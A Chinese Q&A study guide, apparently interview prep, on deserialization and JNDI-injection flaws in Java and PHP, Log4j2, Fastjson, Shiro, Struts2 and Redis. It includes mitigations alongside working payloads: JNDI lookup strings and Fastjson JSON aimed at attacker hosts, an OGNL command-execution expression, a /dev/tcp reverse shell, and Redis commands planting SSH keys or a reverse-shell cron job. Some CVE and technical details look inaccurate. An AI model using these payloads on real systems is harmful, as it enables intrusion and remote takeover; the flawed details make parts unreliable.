1. 什么是序列化和反序列化?
序列化:将内存中的对象转换为可存储(如文件、数据库)或可传输(如网络流)的字节流 / 字符串的过程。
反序列化:将序列化后的字节流 / 字符串恢复为原对象的过程,是序列化的逆操作。
2.为什么要进行序列化和反序列化?
内存中的对象无法直接存储或传输,需通过序列化转换为通用格式(字节流 / 字符串)。
解决不同系统、语言、进程间的数据交换问题,确保对象状态的一致性。
3. 序列化与反序列化函数有哪些?
语言 | 序列化函数 | 反序列化函数 |
---|---|---|
Java | ObjectOutputStream.writeObject() | ObjectInputStream.readObject() |
PHP | serialize() | unserialize() |
Python | pickle.dump() /json.dumps() | pickle.load() /json.loads() |
4. Java 序列化流程是什么?
对象所属类实现
Serializable
接口(否则抛出NotSerializableException
)。创建
ObjectOutputStream
并关联输出流(如文件流、网络流)。调用
writeObject()
,将对象转换为字节流并写入输出流。关闭流,完成序列化。
5. Java 反序列化流程是什么?
创建
ObjectInputStream
并关联输入流(如文件流、网络流)。调用
readObject()
,从输入流读取字节流。验证类信息(类存在、
serialVersionUID
匹配),通过反射重建对象并恢复属性值。返回重建后的对象,完成反序列化。
6. Java 反序列化漏洞原理是什么?
攻击者构造恶意序列化数据,当目标应用反序列化该数据时,会触发类中重写的readObject()
方法(或间接调用的危险方法),执行非预期操作(如远程代码执行 RCE)。核心是 “不可信数据被反序列化 + 存在可利用的危险方法”。
7. 什么是 PHP 反序列化?
PHP 通过unserialize()
函数将序列化字符串(如O:4:"User":1:{s:4:"name";s:5:"Alice";}
)恢复为对象的过程,若类定义了魔术方法(如__wakeup()
),会自动触发。
8. 反序列化魔术方法有哪些?
PHP:
__construct()
:类的构造方法,在创建对象时进行初始化操作时调用。__destruct()
:类的析构函数,在对象销毁时执行清理操作时调用。__call()
:在对象中调用不可访问方法时调用。__get()
:访问不存在的成员变量或访问 private 和 protected 成员变量时调用。__set()
:设置类的成员变量时调用。__isset()
:对不可访问属性调用isset()
或empty()
时调用。__unset()
:对不可访问属性调用unset()
时被调用。__sleep()
:执行serialize()
时,会先调用这个函数。__wakeup()
:执行unserialize()
时,会先调用这个函数。__toString()
:在echo
或print
输出对象,或者把对象当作字符串调用时自动调用。
Java:
readObject()
:自定义反序列化逻辑,当对象被反序列化时自动调用,若方法中包含危险操作(如命令执行、JNDI 查询),是反序列化漏洞的核心利用点。writeObject()
:自定义序列化逻辑,序列化对象时自动调用,可控制写入字节流的数据内容。readObjectNoData()
:当反序列化过程中无法找到对应类的序列化数据时调用,可能导致对象状态异常。writeReplace()
:序列化时替换对象,返回一个替代对象用于序列化,可改变序列化的实际内容。readResolve()
:反序列化后替换对象,返回一个替代对象,常用于单例模式防止多实例创建,若实现不当可能引入安全风险。
10. 反序列化漏洞与注入攻击的区别是什么?
维度 | 反序列化漏洞 | 注入攻击(如 SQL 注入) |
---|---|---|
攻击载体 | 恶意序列化数据(字节流 / 字符串) | 恶意输入字符串(如 SQL 命令片段) |
触发场景 | 反序列化不可信数据时 | 输入未过滤直接拼接进执行逻辑时 |
核心原理 | 滥用反序列化机制中的方法调用 | 滥用输入拼接导致逻辑篡改 |
典型案例 | Shiro 反序列化、Log4j2 漏洞 | SQL 注入、命令注入 |
11. 什么是 JNDI 注入?
JNDI(Java Naming and Directory Interface,Java 命名和目录接口)是 Java 用于访问命名服务(如 RMI 注册表)和目录服务(如 LDAP 服务器)的 API,可通过统一接口查找远程对象或资源。 JNDI 注入是指攻击者通过控制 JNDI 查找的目标名称(通常是 URL),使目标应用在执行InitialContext.lookup()
等 JNDI 查询操作时,被诱导连接到攻击者控制的恶意服务器,最终加载并执行恶意代码的攻击方式。
12. JNDI 注入漏洞原理是什么?
当目标应用的 JNDI 查询参数(如查找的名称)可控(例如用户输入直接作为lookup()
方法的参数)时,攻击者可构造恶意的命名服务 URL(如jndi:rmi://attacker.com/evil
或jndi:ldap://attacker.com/evil
)。 应用执行lookup()
时,会按照 URL 连接攻击者控制的远程服务(RMI/LDAP 服务器),并从该服务获取 “资源引用”(如指向恶意类的路径)。应用会自动从指定路径下载恶意类并加载执行,若类中包含恶意代码(如static
代码块中的命令执行逻辑),则触发远程代码执行(RCE)。
13. RMI 的工作流程是什么?
RMI(Remote Method Invocation,远程方法调用)是 Java 实现跨进程通信的机制,核心是允许一个 JVM 中的对象调用另一个 JVM 中对象的方法,工作流程如下:
服务端注册:远程对象(实现了远程接口的类)通过
LocateRegistry.createRegistry()
在本地注册中心(默认端口 1099)注册,暴露服务名称和接口。客户端查找:客户端通过
Naming.lookup()
或 JNDI 的InitialContext.lookup()
向注册中心查询远程对象的引用。建立连接:客户端获取远程对象的引用后,底层通过 TCP 建立与服务端的网络连接。
远程调用:客户端调用远程对象的方法时,参数通过序列化传输到服务端;服务端执行方法后,将结果反序列化并返回给客户端。
14. RMI-JNDI 的原理是什么?
RMI-JNDI 是指通过 JNDI 接口访问 RMI 服务的机制,允许客户端通过 JNDI 的lookup()
方法查找 RMI 注册中心的远程对象,原理如下:
服务端可在 RMI 注册中心绑定一个
Reference
对象(包含目标类的名称、代码基地 URL 等信息),而非直接绑定远程对象。客户端通过 JNDI 的
lookup("rmi://server/name")
查询该Reference
时,会根据其中的代码基地 URL 下载对应的类文件(.class
),并在本地实例化该类。若下载的类中包含恶意代码(如
static
代码块中的命令执行),则客户端在实例化时会自动执行,导致 RCE。
15. RMI-JNDI 注入流程大概说一下?(含原理)
流程及原理如下:
攻击者准备:搭建恶意 RMI 服务器,注册一个
Reference
对象,其中className
设为自定义恶意类名(如Evil
),codebase
设为攻击者控制的 HTTP 服务器地址(存放Evil.class
)。注入恶意 URL:攻击者通过目标应用的输入点(如用户可控的参数),将恶意 JNDI URL(
jndi:rmi://attacker.com/evil
)注入到应用的 JNDI 查找逻辑中。应用触发查询:目标应用执行
lookup()
时,解析 URL 并连接攻击者的 RMI 服务器,获取Reference
对象。加载恶意类:应用根据
Reference
中的codebase
从 HTTP 服务器下载Evil.class
,并通过反射实例化该类。执行恶意代码:
Evil.class
的static
代码块(如Runtime.getRuntime().exec("bash -i >& /dev/tcp/attacker/port 0>&1")
)在类加载时自动执行,实现 RCE。
16. LDAP-JNDI 注入是什么?(含攻击链)
LDAP-JNDI 注入是指通过 JNDI 接口访问 LDAP 服务时触发的注入攻击,LDAP(Lightweight Directory Access Protocol)是用于查询目录服务的协议,攻击链如下:
攻击者准备:搭建恶意 LDAP 服务器,在目录中创建一个条目(Entry),并为其设置
javaNamingReference
属性(包含恶意类的名称和代码基地 URL)。注入恶意 URL:攻击者将恶意 JNDI URL(
jndi:ldap://attacker.com/cn=evil
)注入目标应用的 JNDI 查找参数中。应用触发查询:目标应用执行
lookup()
时,连接攻击者的 LDAP 服务器,查询指定条目,并获取javaNamingReference
属性。加载恶意类:应用根据属性中的代码基地 URL 下载恶意类(如
Evil.class
),并在本地实例化。执行恶意代码:恶意类的
static
代码块或构造方法中的命令执行逻辑被触发,实现 RCE。
17. RMI-JNDI 和 LDAP-JNDI 的主要区别是什么?
维度 | RMI-JNDI | LDAP-JNDI |
---|---|---|
依赖的协议 | RMI 协议(默认端口 1099) | LDAP 协议(默认端口 389/636) |
恶意资源的传递形式 | 通过Reference 对象绑定到 RMI 注册中心 | 通过 LDAP 目录条目的javaNamingReference 属性传递 |
JDK 版本限制 | 高版本 JDK(如≥8u121)默认禁止从远程代码基地加载类 | 高版本 JDK 对 LDAP 的限制较松,仍可加载远程类(需满足特定条件) |
实战利用难度 | 较高(受 JDK 限制严格) | 较低(兼容性更好,限制少) |
18. 讲述一下 RMI-JNDI 注入和 LDAP-JNDI 注入?
RMI-JNDI 注入:利用 JNDI 访问 RMI 服务的机制,攻击者通过恶意 RMI 服务器返回
Reference
对象,诱导目标应用下载并执行恶意类。但高版本 JDK 默认禁用 RMI 远程类加载,导致利用受限。LDAP-JNDI 注入:利用 JNDI 访问 LDAP 服务的机制,攻击者通过恶意 LDAP 服务器的目录条目返回
javaNamingReference
属性,诱导目标应用加载远程恶意类。由于高版本 JDK 对 LDAP 的限制较弱(如允许从 HTTP 服务器加载类),实际场景中更易成功。 两者的核心都是通过 JNDI 查找机制诱导目标加载执行恶意类,区别主要在于依赖的协议和 JDK 兼容性。
19. 为什么 LDAP-JNDI 更常见于实战利用?
JDK 兼容性更好:高版本 JDK(如≥8u121)对 RMI 的远程类加载做了严格限制(默认禁止从
codebase
加载类),但对 LDAP 的限制较弱 —— 即使com.sun.jndi.ldap.object.trustURLCodebase
为false
,仍可从 HTTP 服务器加载类(仅禁止 LDAP 直接返回类数据)。协议通用性更强:LDAP 协议在企业环境中更常见(常用于用户身份认证、目录服务),目标应用启用 LDAP-JNDI 查询的概率更高,攻击场景更广泛。
绕过防御更易:LDAP 的目录条目结构灵活,攻击者可通过构造复杂的
javaNamingReference
属性绕过应用层的简单过滤(如关键词拦截),而 RMI 的Reference
结构相对固定,易被检测。
20. log4j 是什么?
Log4j 是 Apache 基金会开发的一款开源日志记录工具,广泛应用于 Java 应用程序中,用于记录程序运行时的日志信息(如调试信息、错误信息等)。其功能包括日志级别控制、日志输出目的地(文件、控制台等)配置、日志格式自定义等,是 Java 生态中最常用的日志组件之一。目前主要版本包括 Log4j 1.x 和 Log4j 2.x(后者为重构版本,功能更强大)。
21. Log4j 漏洞原理是什么?
通常所说的 Log4j 漏洞特指 Log4j2 中的 JNDI 注入漏洞(CVE-2021-44228 等系列漏洞)。其核心原理是:Log4j2 在处理日志信息时,会对包含 ${}
格式的字符串进行特殊解析,若日志内容中包含 JNDI 相关的 lookup 语法(如 ${jndi:ldap://attacker.com/xxx}
),会触发 JNDI 服务调用,从攻击者控制的服务器加载恶意类并执行,最终导致远程代码执行(RCE)。
22. Apache Log4j2 远程代码执行的攻击流程是什么?(含攻击链)
攻击流程与攻击链一致,具体步骤如下:
攻击者准备恶意 payload(如
${jndi:ldap://evil.com/poc}
);通过目标系统的输入点(如用户表单、URL 参数、API 请求等)将 payload 传入;
目标系统处理输入时,使用 Log4j2 将包含 payload 的内容记录到日志中;
Log4j2 解析日志中的
${jndi:...}
占位符,触发 JNDI lookup,向evil.com
发起 LDAP/RMI 请求;攻击者控制的 LDAP/RMI 服务器返回指向恶意 Java 类(如
Exploit.class
)的路径;目标系统加载并执行该恶意类,攻击者获得远程代码执行权限(如执行
calc.exe
或反弹 shell)。
23. 攻击者通常如何将 payload 注入到 Log4j2?
攻击者通过目标系统的任何可输入点注入 payload,常见方式包括:
网页表单输入(如用户名、搜索框);
URL 参数(如
?username=${jndi:ldap://evil.com}
);HTTP 头(如
User-Agent
、Referer
等);API 请求体(如 JSON 数据中的字段);
第三方服务交互(如消息队列、数据库查询结果中包含 payload)。 只要输入内容被 Log4j2 记录,即可触发漏洞。
24. Log4j2 JNDI 注入成功后的直接危害是什么?
直接危害是攻击者可在目标服务器上执行任意代码,包括但不限于:
读取 / 修改 / 删除服务器文件;
执行系统命令(如创建管理员账号、关闭服务);
控制服务器网络(如发起内网渗透);
窃取敏感数据(如数据库凭证、用户信息)。
25. 如何防御 Log4j2 JNDI 注入漏洞?
升级版本:将 Log4j2 升级至 2.15.0 及以上(修复了核心漏洞),或 2.17.0+(修复后续衍生漏洞);
禁用 JNDI 功能:通过配置
log4j2.formatMsgNoLookups=true
禁用消息解析中的 JNDI lookup;限制 JNDI 访问:在 JVM 层面添加参数
-Dlog4j2.disableJndi=true
或-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
等,限制远程类加载;输入过滤:对用户输入的
${
、jndi:
等敏感字符进行过滤或转义;网络隔离:限制服务器对外访问敏感协议(如 LDAP、RMI),阻止与恶意服务器通信;
监控与检测:通过日志监控工具检测包含恶意 JNDI 字符串的请求,及时告警。
26. Fastjson1.2.24 漏洞原理是什么?(含特征)
原理:该版本允许通过
@type
指定com.sun.rowset.JdbcRowSetImpl
类,其setDataSourceName()
方法会触发 JNDI 查找。攻击者构造 JSON 时,通过dataSourceName
字段指向恶意 LDAP/RMI 服务器,反序列化时触发 RCE。特征:
利用
JdbcRowSetImpl
类;JSON 结构为:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/evil","autoCommit":true}
27. Fastjson1.2.47 漏洞原理是什么?(含特征)
原理:1.2.47 版本修复了
JdbcRowSetImpl
的黑名单限制,但引入了 AutoType 绕过漏洞。攻击者通过在类名前添加L
、类名后添加;
(如Lcom.sun.rowset.JdbcRowSetImpl;
),使其原始形式不在黑名单中绕过 Fastjson 的类名检查,但规范化后变为com.sun.rowset.JdbcRowSetImpl
(高危类),从而绕过校验仍可触发 JNDI 注入。特征:
利用类名变形(如
Lxxx;
)绕过黑名单;JSON 结构为:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://attacker.com/evil","autoCommit":true}
28. 如何判断是否存在 Fastjson 漏洞?
版本检测:检查项目依赖的 Fastjson 版本,若 ≤ 1.2.68,可能存在漏洞;
测试请求:发送包含
@type
的测试 JSON,观察是否触发 JNDI 连接(如通过日志或监控工具);工具检测:使用漏洞扫描工具(如 FastjsonScanner、ShiroScan)自动检测;
特征分析:若应用返回 JSON 中包含
@type
,或接受用户输入的 JSON 且未严格过滤,可能存在风险。
29. Shiro 有几种漏洞类型?
主要为反序列化漏洞,包括:
Shiro550(CVE-2016-4437):利用默认加密密钥伪造
rememberMe
Cookie,触发反序列化 RCE;Shiro721(CVE-2020-11989):Padding Oracle 攻击,无需密钥即可构造恶意 Cookie 实现反序列化;
Shiro124(CVE-2020-17523):JNDI 注入漏洞,通过
rememberMe
Cookie 触发 RMI/LDAP 远程类加载。
30. 如何判断是否存在 Shiro 漏洞?(含 Shiro 框架特征)
Shiro 框架特征:
HTTP 响应头包含
Set-Cookie: rememberMe=deleteMe; ...
;登录表单包含
rememberMe
参数(如勾选 “记住我”);依赖
shiro-core
库(可通过反编译或依赖分析工具检测)。
漏洞检测方法:
使用工具(如 ShiroExploit、ShiroScan)发送特制的
rememberMe
Cookie,观察是否触发命令执行;分析响应时间:Shiro721 攻击依赖 Padding Oracle 原理,通过观察响应时间变化判断漏洞存在。
31. Apache Shiro550 反序列化漏洞原理是什么?(含特征)
原理:Shiro 使用 AES-CBC 加密
rememberMe
Cookie,默认密钥硬编码在代码中(如kPH+bIxk5D2deZiIxcaaaA==
)。攻击者可构造恶意序列化数据(如包含 CommonsCollections 链),用默认密钥加密后替换正常 Cookie。服务端解密并反序列化时,触发恶意代码执行。特征:
使用默认加密密钥;
攻击需先获取服务端响应的合法
rememberMe
Cookie(用于提取 IV);利用工具(如 ysoserial)生成恶意序列化数据。
32. Apache Shiro721 反序列化漏洞原理是什么?(含特征)
原理:Shiro 在处理
rememberMe
Cookie 时,存在 CBC 模式下的 Padding Oracle 漏洞。攻击者通过构造特殊的加密数据,利用服务端返回的错误信息(如 “Padding is invalid”)逐步猜测加密密钥,最终构造可触发反序列化的恶意 Cookie。特征:
无需知道加密密钥,仅依赖服务端的错误响应;
攻击需多次请求(约 1000+ 次),耗时较长;
利用工具(如 Shiro721Exploit)自动化攻击。
33. 如何修复 Fastjson 和 Shiro 反序列化漏洞?
Fastjson 修复:
升级版本:将 Fastjson 升级至 1.2.83+(启用
safeMode
)或 2.0.24+(修复所有已知漏洞);禁用 AutoType:通过配置
ParserConfig.getGlobalInstance().setAutoTypeSupport(false)
禁用@type
功能;配置白名单:仅允许反序列化白名单中的类(如
ParserConfig.getGlobalInstance().addAccept("com.example.")
);过滤输入:对用户输入的 JSON 进行严格过滤,禁止包含
@type
字段。
Shiro 修复:
更换加密密钥:修改
shiro.ini
中的securityManager.rememberMeManager.cipherKey
,使用随机生成的密钥;升级版本:将 Shiro 升级至 1.9.1+(修复 Shiro721 等漏洞);
禁用 rememberMe:在不需要 “记住我” 功能的场景下,通过配置
securityManager.rememberMeManager.enabled = false
禁用;限制网络访问:通过防火墙限制 Shiro 应用对外的 LDAP/RMI 访问,防止 JNDI 注入。
34. Struts2 远程代码执行漏洞原理
Struts2 是基于 MVC 架构的 Java Web 框架,其核心机制是通过拦截器处理 HTTP 请求,并使用 OGNL(Object Graph Navigation Language)表达式对请求参数进行动态求值。漏洞的根本原因在于OGNL 表达式解析过程中未对用户输入进行严格过滤,导致攻击者可注入恶意表达式执行任意代码。
核心原理步骤:
OGNL 表达式解析: Struts2 在处理请求参数时,会将参数值作为 OGNL 表达式解析。例如,表单字段或 URL 参数中的
${表达式}
会被动态求值。恶意表达式注入: 攻击者构造特殊参数值,利用 OGNL 的强大功能(如访问静态方法、调用系统命令)执行代码。例如:
${#context['xwork.MethodAccessor.denyMethodExecution']=false, #_memberAccess['allowStaticMethodAccess']=true, .lang.Runtime ().exec('id')}
该表达式通过修改访问权限并调用
Runtime.getRuntime().exec()
执行系统命令。常见攻击向量:
S2-001:通过修改
Content-Type
请求头注入 OGNL 表达式。S2-016:利用
redirect:
或redirectAction:
结果类型注入表达式。S2-045:Jakarta Multipart 解析器漏洞,通过构造特殊的
Content-Type
头触发 RCE。
35. Redis 未授权利用方式(含原理)
Redis 默认情况下无密码认证,且监听在公网或内网可访问的端口(如 6379),攻击者可直接连接并执行命令。常见利用方式如下:
利用方式及原理:
写入 SSH 公钥(横向移动):
原理:通过
CONFIG SET dir
和CONFIG SET dbfilename
修改 Redis 持久化路径,将攻击者的 SSH 公钥写入目标服务器的~/.ssh/authorized_keys
。步骤:
# 连接 Redis redis-cli -h target-ip # 设置备份路径为 SSH 密钥目录 CONFIG SET dir /root/.ssh/ CONFIG SET dbfilename authorized_keys # 写入公钥 SET x "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...\n\n" # 触发持久化 SAVE
定时任务反弹 shell:
原理:通过
SET
命令写入包含反弹 shell 命令的定时任务(如crontab
),利用SAVE
或BGSAVE
触发持久化。步骤:
# 写入反弹 shell 命令到 crontab SET x "\n\n* * * * * bash -i >& /dev/tcp/attacker-ip/4444 0>&1\n\n" CONFIG SET dir /var/spool/cron/ CONFIG SET dbfilename root SAVE
数据泄露:
原理:读取服务器敏感文件(如
/etc/passwd
)或数据库中的业务数据。利用命令:
# 读取文件内容 CONFIG SET dir /etc/ CONFIG SET dbfilename passwd SAVE GET x